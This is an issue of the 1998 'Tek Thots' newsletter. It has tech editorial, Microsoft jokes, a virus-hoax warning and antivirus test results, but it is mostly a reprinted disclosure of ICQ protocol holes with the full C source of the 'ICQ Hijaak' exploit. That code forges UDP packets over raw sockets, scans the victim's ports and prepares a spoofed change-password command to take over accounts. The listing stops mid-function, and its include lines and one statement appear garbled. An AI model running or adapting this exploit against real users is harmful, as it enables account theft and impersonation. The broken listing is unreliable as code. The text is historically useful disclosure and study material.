TEK THOTS

Electronic Newsletter

```
+-+-+-+ +-+-+-+-+-+
|T|e|k| |T|h|o|t|s|
+-+-+-+ +-+-+-+-+-+
```

TEK THOTS
Volume 3, Number 3
June 23, 1998
Published irregularly by Scott C. Holstad

==
Copyright Notice
Copyright (C) 1998 Scott C. Holstad
All enclosed material may be used for non-commercial purposes.
==

****
DISCLAIMER The views and analysis expressed in Tek Thots are the author's own, and do not in any way reflect the views of EarthLink Network, Inc., the author's employer.
****

CONTENTS

==

News/Editorial
----

*   Hi, and welcome to another issue of Tek Thots. Thanks, all, for your patience. Many of you send me shockingly positive email, and many thanks for that. Some others send helpful comments, criticisms, advice, etc., and thanks for that as well. Just a note re some of the comments I occasionally get. 1) I should send this out more often: I know. I'm sorry, but I just don't get it out that often. My boss was let go over a month ago, and I've been pulling down 2+ full time jobs ever since. This look s like it will continue for quite some time - through the end of the year possibly. I'm coming in early, staying late, working 6-7 days a week. I don't have the time or energy to do this more often. 2) I should make the Web site pretty, "professional, " all nicely HTML-ized, etc. See above. More importantly, I'm not overly fond of many of the fancy Web sites one sees out there these days. I'm into content, not graphics. Hell, I sometimes fire up Lynx for my Web sojourns! I'm simply not going to d o that - it's about 9,000th on my list of priorities. As I've said before, if someone feels strongly enough about the Tek Thots Web site to volunteer their HTML services,

fine, let's talk. 3) Yes, I have and will print thots by others on *relevant* top ics, so feel free to send some on in. A caveat: I won't print obvious commercial press releases as content. I'm printing a very long piece of code in this one, but otherwise this issue will be short, as I'd like to get one out finally.

* This issue will be slightly different. Hopefully, most of you won't be overly annoyed. Dan Farmer passed on this bit about serious ICQ holes complete with code (the code makes for a long issue - sorry). I know many of us are interested in Internet ch at and a lot of people use ICQ, including yours truly. I thought this bit might be worth passing on, for educational purposes of course. Thus, this issue won't contain much more than this, as it's a pretty big piece as is. Meanwhile, I'll start working hard on another "regular" issue of Tek Thots so that those of you not into the security/hacking scene will be mollified. Hopefully, I'll have that out soon. Thanks!

* Microsoft funnies:

1) I'm sure everyone's heard this, but when Bill Gates gave a demonstration of Windows 98 recently in Chicago, the darn thing crashed on him - Blue Screen of Death. Just too funny.

2) Most people know about NT's many problems, including scalability. Now, word has it that after Microsoft bought Hotmail, it discovered the service was too big for NT to handle, and it's having to run Apache on FreeBSD on its Web servers, with Solaris for threads. And, they're desperately seeking Solaris engineers, NOT NT folks....

3) I'm not trying to be overly anti-Microsoft - I have many Microsoft products I like. It's just that I can't understand the overwhelming move to NT when there are so many undisputed issues left open with NT - security, scalability, remote system admini stration problems, etc. ZDNet recently printed yet another tidbit (http://www.zdnet.com/zdnn/content/zdnn/0601/320764.html) showing some of these problems. "We were able to sniff passwords, eavesdrop on the networks, and passively do traffic analysis...."

* I'm sure most of us have seen Sprint's ongoing announcements about its new Integrated On-Demand Network (ION), basically ATM if truth be told. Well, the marketing looks great and all, but there are a lot of questions which just seem to pop up. A frien d of mine emailed some basic thots:

this is all grand and such, but nowhere do they make any mention of *how* they're going to make all this grand and glorious bandwidth available. I see 2 pair running to homes, and well, I'm a bit skeptical. ;)

I'm just waiting for them to provide the teeniest bit of info on how they're going to do this:

"For example, Sprint's costs to provide a full-motion video call or conference between family, friends or business associates will be less than to provide a typical domestic long distance phone call today."

or,

"A household or business will be able to conduct multiple phone calls, receive faxes, run new advanced applications and use the Internet at speeds up to 100 times faster than today's conventional modems- all simultaneously through a single connection."

It's cool hype, I suppose it's just to early to see anything that hasn't been cooked by somebody's marketing department. I love this one:

"...so fast that typical pages on the World Wide Web will pop up almost instantaneously."

sign me up if it's real! :)

===

Privacy/Security Thots
----

*   I keep getting Good Times virus hoax rip-offs. The latest is "WIN A HOLIDAY." Please, folks, make sure you educate yourself and your colleagues about these hoaxes. The hoaxes themselves cause greater damage (lost man-hours, stress, rumors, unnecessar y file destruction, etc.) than if they were authentic viruses. Read these messages carefully and ponder as to their probability before sending them on to others. Heck, look 'em up while your at it.

*   A very disturbing piece of news for most of us. This tidbit was passed around and around; I'm assuming the source was Compuserve.... A Bavarian court convicted a former Compuserve manager recently of spreading porno over the Internet, shocking industry experts and raising concerns about the medium's future in Germany. The Munich district court, ignoring a change of heart by the state prosecutor, convicted the former head of the German division of the online service of distributing child pornography and other illegal material over the Internet. "Even on the Internet, there can be no law-free zones," the court said, handing down a 2 year suspended sentence to Felix Somm. "The accused is not a victim. He abused the medium." The German government said it would study the court's decision carefully.

We've seen this sort of thing before, and every time it rears its ugly head, it seems more disturbing. Logistically, how in the world is any ISP going to be able to police its members' content, even if it wanted to? This medium simply doesn't translate well into what the legal world is used to seeing, and I find it disturbing that a greater attempt at educating the public isn't taking place. Keep your eyes open for further developments of this type.

*   Tek Thots AV Scanning Results:

PRODUCT	Number Caught (out of 200)	%
Anywhere AV	199	99.5%
Dr. Solomon's FindVirus (7.68)	199	99.5%%
ThunderBYTE (Tbav for Windows 95 v7.06)	199	99.5%
F-PROT (v. 2.24c)	198	99%
Norton AntiVirus	197	98.5%
McAfee VirusScan 95 (2.01.218)	196	98%
Sophos Sweep	196	98%
Invircible	195	97.5%
Leprechaun	194	97%
ThunderBYTE (Tbav for Windows 95 v7.06)	194	97%
IBM Antivirus	193	96.5%

*   ICQ has become a very popular chat program over the past year. I've toyed with it, and it's quite user friendly. In fact, it's apparently a bit TOO user friendly. Check out the following:

```
01. ICQ Hijaak
--------------

As of 6/3/98 Mirabilis has disabled the ability to change your password at
all.  The purpose of this bulletin is to alert all ICQ users of the dangers
in the ICQ protocol.  Rootshell now has 4 unique exploits for the ICQ
protocol online at www.rootshell.com.

--

Date:         Sun, 31 May 1998 16:46:20 -0700
From:         wumpus@INNOCENT.COM
Subject:      ICQ Hijaaking.. Is YOUR account safe?

The source code here pretty much says it all.  Mirabilis has been extremely
negligent in fixing protocol holes, and this allows accounts to be subverted
with possible leaks of information.

Merely by leaving your ICQ application logged in ( Java _or_ Win32 ) your
account can be hijaaked (the password changed withoyt knowing the original).
An attacker can then use that account to obtain information from people
contacting you, or to do other inappropriate things which would result in
the account being terminated.

I have given Mirabilis fair warning of this attack, and talked with Arik
about what was necessary to fix it.  Unfortunately, with the last four versions
this has not been put into place.  It would seem the only way to fix such
grave problems with their protocol is to air it in the public arena.

There are no real workarounds for this problem, although there are some
obvious workarounds to this exploit (left to the reader).  If you value your
ICQ account, do not log into it until a fix is available.  Otherwise, you
can hope no one bothers to hit your UIN --- there are a huge number and you
might be lucky.

/*
 .  ICQ Hijaak
 .  Version 1C
 .
 .  Author:  wumpus@innocent.com
 .  Copyright (c) 1998 Wolvesbane
 .
 .  By downloading or compiling this program, you agree to the terms of this
 .  license. If you do not agree with any of these terms you MUST delete this
 .  program immediately from all storage areas (including browser caches).
 .  (A) You agree not to use this program in any way that would constitute a
 .      violate of any applicable laws.  This may included federal laws if you
 .      live in the United States and similar laws regarding computer security
 .      in other countries.
 .  (B) You agree to hold the authors (referred to collective as Wolvesbane)
 .      harmless in any damages that result due to your possession or use of
 .      this software.
 .  (C) Wolvesbane does not claim that this program implements any functions.
 .      As the saying goes, "You get what you pay for." -- And you didn't pay
 .      anything for this.
 .  (D) This software is FREE for _NON-COMMERCIAL_ use.  You may not use this
 .      program for any commercial use (or any other activity which makes you
 .      money with the assistance of this program ).  The author is not
 .      interested in commercial use of this program (and cannot think of what
 .      commercial use would consist of ).
 .  (E) This program was created using Linux with IP-Masquerading to run the
 .      ICQ program unmodified and without any dissassembly.  The testing
 .      was done with volunteers, and with a second computer logged into the
 .      ICQ network.  No ICQ users were harmed in the creation or testing of
 .      this program.
 .  (F) This copyright applies only to the code written by Wolvesbane, and not
 .      to anything included under Fair Use.
 .  (G) Please note that if you use ANY sections of this code in your work,
 .      (which I expressly allow as long as it is NON-COMMERCIAL), you are
 .      obligated to give me some credit in your comments (if it is a source
 .      file ) or in a string constant if it is a binary file.  If you do not
 .      wish to do so, you may NOT include ANY portion of this file in your
 .      own work.
*/
/*
 * UPDATES, for May 31, 1998
 *
 *    I notified Mirabilis about this bug about a month ago (which from
 *    what I recall is the semi-official delay to allow a fix ).
 *    In that time, Mirabilis has gone from DLL 1.22 to DLL 1.26.  This
 *    exploit has been tested again 1.26 and still works.   *ooops*!
 *    This exploit has rather simplistic UDP scanning code... if it doesn't
 *    work (ie, against .se hosts ), then you can't hijaak them.  Sorry, but
 *    I just don't care enough.
 *
 *    Lastly, even a Windows user can get anyone's IP from ICQ by sending a
 *    message to their UIN, and doing a netstat.
 *
 *    With the acquistion of Mirabilis and the ICQ protocol by AOL, I will
 *    no longer be playing with the ICQ protocol.  Prior to that actual event
 *    you might contact me with questions on this program.
 */
/*
 . I am indebted to the author of ICQSNIFF.C, for his clear description of
 . the ICQ protocol (although it has since changed).  And for the idea as
 . well.
 .
 . Some information came from anonymous sources and Usenet postings which
 . I didn't jot down the author.  I apologize to any author who sees his/her
 . ideas in here.  None of this code was "stolen".
 .
*/
/* To quote Arik:

   Arik Vardi (arik@ICQ.COM)
   Mon, 15 Dec 1997 13:55:16 -0500

   Thanks for the vote of confidence.
   Actualy, we don't publish the protocol since it's a work in progress
   and
   we still have pretty major changes from version to version.
   Password encryption will be addressed in the next client release,
   spoofing client messages has already been addressed in our new version
   - ICQ98a, (which is not what you are using) and should not be possible
   once we phase out older clients (hopfuly by the end of this month).
   We apreciate your pointing out vulnrabilities to us and will do our
   best
   to fix them in future releases.
*/
/*
 . Guess what, Arik.  You *lied* about fixing spoofing -- and this proves it.
*/
```

```
#include
#include
#include
#include
#include
#include
#include
#include         /* for AF_INET */
#include
#include
#include
int MultiResolve( char * hostname,
                int * addr_count,
                struct in_addr ** addresses );
enum { FAILURE = -1, SUCCESS = 0 };
/*=====================================================================*/
typedef unsigned short int      u16;
typedef unsigned long int       u32;
typedef unsigned char           u8;
/*=====================================================================*/
#define byte(v,o) (*((u8 *)(&(v))+(o)))
#define word(v,o) (*((u16 *)((unsigned char *)(&(v))+(o)) ))
#define dword(v,o) (*((u32 *)((unsigned char *)(&(v))+(o)) ))
unsigned char icq_check_data[256] = {
        0x0a, 0x5b, 0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75,
        0x20, 0x63, 0x61, 0x6e, 0x20, 0x6d, 0x6f, 0x64,
        0x69, 0x66, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20,
        0x73, 0x6f, 0x75, 0x6e, 0x64, 0x73, 0x20, 0x49,
        0x43, 0x51, 0x20, 0x6d, 0x61, 0x6b, 0x65, 0x73,
        0x2e, 0x20, 0x4a, 0x75, 0x73, 0x74, 0x20, 0x73,
        0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x22, 0x53,
        0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x66,
        0x72, 0x6f, 0x6d, 0x20, 0x74, 0x68, 0x65, 0x20,
        0x22, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65,
        0x6e, 0x63, 0x65, 0x73, 0x2f, 0x6d, 0x69, 0x73,
        0x63, 0x22, 0x20, 0x69, 0x6e, 0x20, 0x49, 0x43,
        0x51, 0x20, 0x6f, 0x72, 0x20, 0x66, 0x72, 0x6f,
        0x6d, 0x20, 0x74, 0x68, 0x65, 0x20, 0x22, 0x53,
        0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x69,
        0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6f,
        0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x20, 0x70, 0x61,
        0x6e, 0x65, 0x6c, 0x2e, 0x20, 0x43, 0x72, 0x65,
        0x64, 0x69, 0x74, 0x3a, 0x20, 0x45, 0x72, 0x61,
        0x6e, 0x0a, 0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61,
        0x6e, 0x27, 0x74, 0x20, 0x72, 0x65, 0x6d, 0x65,
        0x6d, 0x62, 0x65, 0x72, 0x20, 0x77, 0x68, 0x61,
        0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x73, 0x61,
        0x69, 0x64, 0x3f, 0x20, 0x20, 0x44, 0x6f, 0x75,
        0x62, 0x6c, 0x65, 0x2d, 0x63, 0x6c, 0x69, 0x63,
        0x6b, 0x20, 0x6f, 0x6e, 0x20, 0x61, 0x20, 0x75,
        0x73, 0x65, 0x72, 0x20, 0x74, 0x6f, 0x20, 0x67,
        0x65, 0x74, 0x20, 0x61, 0x20, 0x64, 0x69, 0x61,
        0x6c, 0x6f, 0x67, 0x20, 0x6f, 0x66, 0x20, 0x61,
        0x6c, 0x6c, 0x20, 0x6d, 0x65, 0x73, 0x73, 0x61,
        0x67, 0x65, 0x73, 0x20, 0x73, 0x65, 0x6e, 0x74,
        0x20, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x69, 0x6e };
#define MAX_NUM_ADDRESSES     255
int Resolve( char * hostname, struct in_addr * addr ) {
        struct hostent * hinfo;
        (void)memset( (void *)addr, 0, sizeof( struct in_addr ));
        if ( inet_aton( hostname, addr) ) return SUCCESS;
        if ( !(hinfo = gethostbyname( hostname ) ) ) return FAILURE;
        (void)memcpy( (void *)addr, (void *)hinfo->h_addr,
                sizeof(struct in_addr )); return SUCCESS; }
int MultiResolve( char * hostname, int * addr_count,
        struct in_addr ** addresses ) {
        int                     host_count;
        int                     i;
        char                    * p;
        struct  in_addr         address;
        struct  hostent         * hinfo;
        if ( inet_aton( hostname, &address ) ) {
                p = (char *)malloc(sizeof(address));
                if ( !p ) {
                        fprintf(stderr,"MultiResolve: Allocation failed!\n");
                        return FAILURE;
                }
                (void)memcpy((void *)p,(void *)&address, sizeof(address) );
                *addr_count = 1;
                *addresses = (struct in_addr *)p; return SUCCESS; }
        if ( !(hinfo = gethostbyname(hostname) ) ) return FAILURE;
        if ( hinfo->h_length != sizeof( struct in_addr ) ) {
                fprintf(stderr,"MultiResolve:  h_length (%d) not equal "\
                        "to size of struct inaddr (%d) ",
                        hinfo->h_length, sizeof(struct in_addr) );
                return FAILURE;
        }
        host_count = 0;
        for (i = 0; i < MAX_NUM_ADDRESSES; i++ ) {
                struct in_addr  * addr_ptr;
                addr_ptr = (struct in_addr *)hinfo->h_addr_list[i];
                if ( !addr_ptr )
                        break;
                host_count++;
        }
        p = (char *)malloc( host_count * hinfo->h_length );
        if ( !p ) {
                fprintf(stderr,"MultiResolve: Failed to allocate %d bytes\n",
                        host_count * hinfo->h_length );
                return FAILURE;
                }
        *addresses = (struct in_addr *)p;
        for ( i = 0; i < host_count; i++ ) {
                (void)memcpy( (void *)p,(void *)hinfo->h_addr_list[i],
                        hinfo->h_length ); p += hinfo->h_length; }
        *addr_count = host_count; return SUCCESS; }
#define IP_VERS         0
#define IP_TOS          1
#define IP_TOTLEN       2
#define IP_ID           4
#define IP_FLAGS        6
#define IP_TIMETOLIVE   8
#define IP_PROTOCOL     9
#define IP_CHECKSUM     10
#define IP_SRC          12
#define IP_DST          16
#define IP_END          20
#define UDP_SOURCE      0
#define UDP_DEST        2
#define UDP_LENGTH      4
#define UDP_CHECKSUM    6
#define UDP_END         8
```

```
#define UCHDR_SOURCE    0
#define UCHDR_DEST      4
#define UCHDR_PROTOCOL  9
#define UCHDR_UDPLEN    10
#define UCHDR_END       12
#define ICMP_TYPE       0
#define ICMP_CODE       1
#define ICMP_CHECKSUM   2
#define ICMP_END        4
u16 cksum( u16 * buf, int numWords ) {
        u32 sum;
        sum = 0; while ( numWords -- ) { sum += *(buf++); }
        sum = ( sum >> 16) + ( sum & 0xffff ); sum += ( sum >> 16 );
        return ~sum ; }


void make_ip_hdr(       u8      * packet, int     length, u8      protocol,
         u16     id, u16     flags, struct in_addr  me,
                struct in_addr  you, u8      ttl ) {
        memset( packet, 0, IP_END );
        byte(*packet, IP_VERS ) = 0x45;
        word(*packet, IP_TOTLEN ) = htons( length );
        byte(*packet, IP_TIMETOLIVE ) = ttl;
        byte(*packet, IP_PROTOCOL ) = protocol;
        word(*packet, IP_ID ) = htons( id );
        word(*packet, IP_FLAGS ) = htons( flags );
        dword(*packet,IP_SRC ) = *((u32 *)&me);
        dword(*packet,IP_DST ) = *((u32 *)&you);
        word(*packet, IP_CHECKSUM ) = cksum( (u16 *)packet, IP_END/2 ); }
void make_udp_hdr(      u8      * packet, int     udplength, u16     sport,
                        u16     dport ) {
        u8      * udp;
        static  u8      chdr[UCHDR_END];
        u32     pchecksum;

        memset( chdr, 0, UCHDR_END );

        udp = packet + ( ( byte(*packet, IP_VERS ) & 0x0F ) * 4 );
        memset( udp, 0, UDP_END );
        word(*udp, UDP_SOURCE ) = htons( sport );
        word(*udp, UDP_DEST ) = htons( dport );
        word(*udp, UDP_LENGTH ) = htons( udplength );
        memcpy( chdr + UCHDR_SOURCE, packet + IP_SRC, 8 );
        byte( *chdr, UCHDR_PROTOCOL ) = byte( *packet, IP_PROTOCOL );
        word( *chdr, UCHDR_UDPLEN ) = word( *udp, UDP_LENGTH );
        pchecksum = ( ~cksum( (u16 *)&chdr, UCHDR_END / 2 ) ) & 0xFFFF;
        if ( udplength & 1 ) { byte( *udp, udplength + 1 ) = 0; }
        pchecksum += ( ~cksum((u16 *)udp, udplength/ 2
        + (udplength&1)) ) & 0xFFFF; pchecksum    += ( pchecksum >> 16 );
        word( *udp, UDP_CHECKSUM ) = (u16)~pchecksum ; }
int CreateRawSocket( void )
{
        int     s;
        int     option;

        s = socket( AF_INET, SOCK_RAW, IPPROTO_RAW );
        if ( s < 0 ) { perror("Socket:"); exit(-1); }
        option = 1;
        if ( setsockopt( s, IPPROTO_IP, IP_HDRINCL,
                        (char *)&option,  sizeof( option ) ) < 0 ) {
                perror("Setting IP_HDRINCL"); exit(0); }
        return s; }
int GetLocalAddress( struct in_addr remote, struct in_addr * local )
{
        struct sockaddr_in      laddress;
        struct sockaddr         * laddr = (struct sockaddr *)&laddress;
        struct sockaddr_in      raddress;
        struct sockaddr         * raddr = (struct sockaddr *)&raddress;
        int     s;
        int     err;
        int     len;

        s = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP );
        if ( s < 1 ) {
                return FAILURE;
        }
        raddress.sin_port = htons( 1984 ); /* DON'T CARE */
        raddress.sin_family = AF_INET;
        raddress.sin_addr = remote;

        err = connect(s, raddr, sizeof(raddress ));
        if ( err < 0 ) {
                return FAILURE;
        }
        len = sizeof(laddress);
        err = getsockname(s, laddr, &len );
        if ( err < 0 ) {
                return FAILURE;
        }
        *local = laddress.sin_addr;
        close(s);
        return SUCCESS;
}
int CreateICMPSocket( void )
{
        int s;

        s = socket( AF_INET, SOCK_RAW, IPPROTO_ICMP );
        if ( s < 1 )
                return FAILURE;
        return s;
}
int  SendUDP( int s, struct in_addr source, struct in_addr dest,
                u16 sport, u16 tport )
{
        static u8       packet[576];
        struct sockaddr_in      raddress;
        struct sockaddr         * raddr = (struct sockaddr *)&raddress;
        int     psize;
        int     err;


        raddress.sin_port = htons( 1984 ); /* DON'T CARE */
        raddress.sin_family = AF_INET;
        raddress.sin_addr = dest;


        psize = IP_END + UDP_END + 6;

        make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
                source, dest, 0x7F );
        make_udp_hdr( packet, psize - IP_END, sport, tport);

        err = sendto( s, packet, psize, 0,raddr, sizeof(raddress));
        if ( err != psize ) {
                perror("Sending");
                return FAILURE;
                }
        return SUCCESS;
}
const int       verify_secs = 2;
int VerifyUDPPort( struct in_addr addr, u16 port )
{
        int             s_icmp;
        struct timeval  start_time, end_time, wait_time;
        fd_set          rdfs;
        int             err;
        static u8       packet[1500]; /* should be max MTU */
        struct sockaddr junkaddr;
        int             junksize;

        u8              * icmphdr;
        u8              * fiphdr;
        u8              * fudphdr;
        int             len;
        int             got_unreach;
        struct in_addr  localaddr;
        int             rawsock;
        if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
         perror("GetLocalAddress"); exit(-1); }
        s_icmp = CreateICMPSocket();
        if ( s_icmp == FAILURE )  { perror("Getting ICMP socket"); exit(-1); }
        rawsock = CreateRawSocket();
        if ( rawsock < 0 ) { perror("Getting Raw socket"); exit(-1); }
        FD_ZERO( &rdfs ); FD_SET( s_icmp, &rdfs );
        if ( SendUDP(rawsock, localaddr, addr, 0x1984, port ) == FAILURE ) {
                perror("Sending UDP packet"); exit(-1); }
        got_unreach = 0; gettimeofday( &start_time, NULL );
        do { wait_time.tv_usec = 0; wait_time.tv_sec = verify_secs;
                err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );
                if ( -1 == err ) { perror("VerifyUDPPort - Select"); exit(-1); }
                if ( !err ) break;
                junksize = sizeof( struct sockaddr );
                err = recvfrom( s_icmp, packet, 1500, 0,
                        &junkaddr, &junksize );
                if ( -1 == err ) { perror("VerifyUDPPort - recvfrom: ");
                        exit(-1); }
                if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
                   (dword(*packet, IP_SRC ) != *((u32 *)&addr) )  )
                        goto check_timeout;
                len =  ( byte(*packet, 0 ) & 0x0F ) * 4;
                icmphdr = packet + len;
                if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
                   (byte(*icmphdr,ICMP_CODE ) != 3 )  )
                        goto check_timeout;
                fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
                len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
                if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
                   ( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr)  ) )    )
                        goto check_timeout;
                fudphdr = fiphdr + len;
                if ( word(*fudphdr, UDP_DEST ) == htons( port ) ) {
```

```
                         got_unreach = 1; break; }
check_timeout:
               gettimeofday( &end_time, NULL );
        } while ( ( end_time.tv_sec - start_time.tv_sec ) < verify_secs );
        close( s_icmp ); close( rawsock);
        if ( got_unreach ) return FAILURE;
 else return SUCCESS;

}
typedef struct  foobar
{
        int     next;
        int     prev;
        u16     rem_port;
        int     times;
} port_info;
#define MAX_BURST       128
#define UNUSED_HEAD     MAX_BURST + 1
#define UNUSED_TAIL     MAX_BURST + 2
#define LIVE_HEAD       MAX_BURST + 3
#define LIVE_TAIL       MAX_BURST + 4
#define FIRST_LPORT     55000
#define SEND_COUNT      3
#define NEXT(i) List[(i)].next
#define PREV(i) List[(i)].prev
#define PORT(i) List[(i)].rem_port
#define TIMES(i) List[(i)].times
int UDPScan( struct in_addr addr, u16 start, u16 end, u16 * tport )
{
        int     unused_head;
        int     unused_tail;
        int     live_head;
        int     live_tail;
        int     i;
        port_info       List[ LIVE_TAIL + 1 ];
        int     Current[ MAX_BURST ];
        int     cur_min, cur_max;
        int     now_port;
        int     delay;
        int     my_port;
        int     cur_send;
        struct timeval  wait_time;
        fd_set          rdfs;
        int     err;
        int     s_icmp, rawsock;
        struct in_addr  localaddr;
        *tport = 0;
        if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
                perror("GetLocalAddress"); return FAILURE; }
        s_icmp = CreateICMPSocket();
        if ( s_icmp == FAILURE )  {
                perror("Getting ICMP socket"); return FAILURE; }
        rawsock = CreateRawSocket();
        if ( rawsock < 0 ) {
                perror("Getting Raw socket"); return FAILURE; }
        FD_ZERO( &rdfs );
        FD_SET( s_icmp, &rdfs );
        List[ LIVE_TAIL ].next = -1; List[ LIVE_TAIL ].prev = LIVE_HEAD;
        List[ LIVE_TAIL ].rem_port = 0; List[ LIVE_HEAD ].prev = -1;
        List[ LIVE_HEAD ].next = LIVE_TAIL; List[ LIVE_HEAD ].rem_port = 0;
        List[ UNUSED_TAIL ].next = -1; List[ UNUSED_TAIL ].prev = UNUSED_HEAD;
        List[ UNUSED_TAIL ].rem_port = 0; List[ UNUSED_HEAD ].prev = -1;
        List[ UNUSED_HEAD ].next = UNUSED_TAIL;
        List[ UNUSED_HEAD ].rem_port = 0;
        for ( i = 0; i < MAX_BURST ; i++ ) {
                PREV( i ) = PREV( UNUSED_TAIL ); NEXT( i ) = UNUSED_TAIL;
                 NEXT( PREV( i ) ) = i; PREV( NEXT( i ) ) = i; PORT( i ) = 0;
                TIMES( i ) = SEND_COUNT; }
        now_port = start;
        cur_min = now_port;
        cur_max = MAX_BURST;
        my_port = FIRST_LPORT;
        cur_send = 16;

        while ( 1 ) {
                int     cur;
                int     cnt;

                cur_max = cur_send;
                cur_min = now_port;
                cur = List[ LIVE_HEAD ].next;
                cnt = 0;
                while ( NEXT(cur) != -1 ) {

                        if (!cur_max ) {
                                break;
                        }
                        cnt++;

                        if ( SendUDP(rawsock, localaddr, addr,
                                my_port, PORT(cur) ) == FAILURE ) {
                                perror("Sending UDP packet");
                                return FAILURE;
                        }
                        cur_max--;
                        TIMES(cur)--;
                        cur = NEXT(cur);

                        if ( NEXT(cur) > LIVE_TAIL ) {
                                printf("Ugh! %d \n", NEXT(cur) );
                                exit(-1);
                        }

                }

                for ( i = 0; i < cur_max ; i ++ ) {
                        int node;

                        if ( cur_min > end )
                                break;

                        node = NEXT( UNUSED_HEAD );
                        if ( -1 == NEXT( node ) )
                                break;
                        NEXT( UNUSED_HEAD ) = NEXT( node );
                        PREV( NEXT(node) ) = UNUSED_HEAD;

                        PREV( node ) = PREV( LIVE_TAIL );
                        NEXT( node ) = LIVE_TAIL;
                        NEXT( PREV( node ) ) = node;
                        PREV( NEXT( node ) ) = node;
                        PORT( node ) = cur_min + i;
                        if ( SendUDP(rawsock, localaddr, addr,
                                my_port, cur_min+i ) == FAILURE ) {
                                perror("Sending UDP packet");
                                return FAILURE;
                        }

                        Current[ i ] = node;
                }

                if ( ( now_port >= end ) &&
                     ( !cnt ) ) {
                        printf("Found nothing!\n");
                        return SUCCESS;
                }
                now_port += cur_max;

                /*
                 * Delay, waiting for responses.  Continue until the
                 * operation times out, meaning that we waited long enough
                 * for a packet..
                 */
                cnt = 0;
                while ( 1 ) {
                        int junksize;
                        static struct sockaddr  junkaddr;
                        static u8 packet[1500];
                        int     len;
                        u8      * icmphdr, * fiphdr, *fudphdr;
                        int     got_port;
                        int     cur;

                        wait_time.tv_usec = 0;
                        wait_time.tv_sec = 5;
                        FD_SET( s_icmp, &rdfs );
                        err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );
                                perror("UDPSCAN - Select");
                                return FAILURE;
                        }
                        if ( !err )  {
                                break;
                        }
                        junksize = sizeof( struct sockaddr );
                        err = recvfrom( s_icmp, packet, sizeof(packet), 0,
                                &junkaddr, &junksize );
                        if ( -1 == err ) {
                                perror("UDPSCAN - recvfrom: ");
                                exit(-1);
                        }
                        if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
                                (dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )
                                continue;
                        len =  ( byte(*packet, 0 ) & 0x0F ) * 4;
                        icmphdr = packet + len;
                        if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
                                (byte(*icmphdr,ICMP_CODE ) != 3 )  )
                                continue;
                        fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
                        len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
                        if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
                                ( (dword(*fiphdr, IP_DST ) !=
                                *((u32 *)&addr)  ) )   )
                                continue;
                        fudphdr = fiphdr + len;
                        got_port = ntohs( word(*fudphdr, UDP_DEST ) ) ;

                        if ( ( got_port >= cur_min ) &&
                                ( got_port < (cur_min+cur_max) ) ) {
                                cur = Current[ got_port - cur_min ];

                                PREV( NEXT(cur)  ) = PREV( cur );
                                NEXT( PREV(cur) ) = NEXT( cur );

                                PREV( cur ) = PREV( UNUSED_TAIL );
                                NEXT( cur ) = UNUSED_TAIL;
                                NEXT( PREV( cur ) ) = cur;
                                PREV( NEXT( cur ) ) = cur;

                                cnt++;
                                continue;
                        }
                        /*
                         * if we get here, then it was one of the older
                         * ones, so look through the array for it
                         */
                        cur = NEXT( LIVE_HEAD );
                        while ( NEXT(cur) != -1 ) {
                                if ( PORT(cur) == got_port ) {

                                        PREV( NEXT(cur)  ) = PREV( cur );
                                        NEXT( PREV(cur) ) = NEXT( cur );

                                        PREV( cur ) = PREV( UNUSED_TAIL );
                                        NEXT( cur ) = UNUSED_TAIL;
                                        NEXT( PREV( cur ) ) = cur;
                                        break;
                                }
                                cur = NEXT(cur);
                        }
                        if ( NEXT(cur) == -1 ) {
                                printf("RESPONSE FOR PORT %d UNEXPECTED! \n",
                                        got_port);
                        } else {
                                cnt++;
                        }

                }
                printf("[UDP Scan working] Got %d responses \n", cnt );


                if  ( cnt < ( (cur_send/4) * 3 ) ) {

                        cur_send /= 2;
                        if ( cur_send < 16 ) {
                                cur_send = 16;
                        }

                } else {
                        cur_send *= 2;
                        if ( cur_send > MAX_BURST ) {
                                cur_send = MAX_BURST;
                 } } cur = NEXT( LIVE_HEAD );
```

```
                while ( NEXT(cur) != -1 ) {
                        if (!TIMES(cur) ) {
                                printf("SCORE!  Port is %d \n",PORT(cur));
                                close( s_icmp );
                                close( rawsock);
                                *tport = PORT(cur);
                                return SUCCESS;
                        }
                        cur = NEXT(cur);
                }

        }

        close( s_icmp );
        close( rawsock);
        return SUCCESS;
}
#define COMMAND_CHANGEPASSWORD  0x049C
#define COMMAND_LOGOFF  0x0438
#define RESPONSE_ERROR  0x00F0

int WritePacket(u8        * data_ptr,
                int     * size,
                char    * format,
                ...     )

{
        u8              * ptr;
        va_list         ap;
        u32             dword_param;
        u16             word_param;
        u8              byte_param;
        u8              * string_param;
        int             string_length;
        int             * data_length;

        ap = va_start( ap, format );
        ptr = data_ptr;

        while ( *format ) {
                switch ( *format++ ) {
                case 'L':  /* dword */
                        dword_param = va_arg(ap, u32 );
                        *(ptr++) = dword_param & 0xFF;
                        *(ptr++) = (dword_param >> 8 ) & 0xFF;
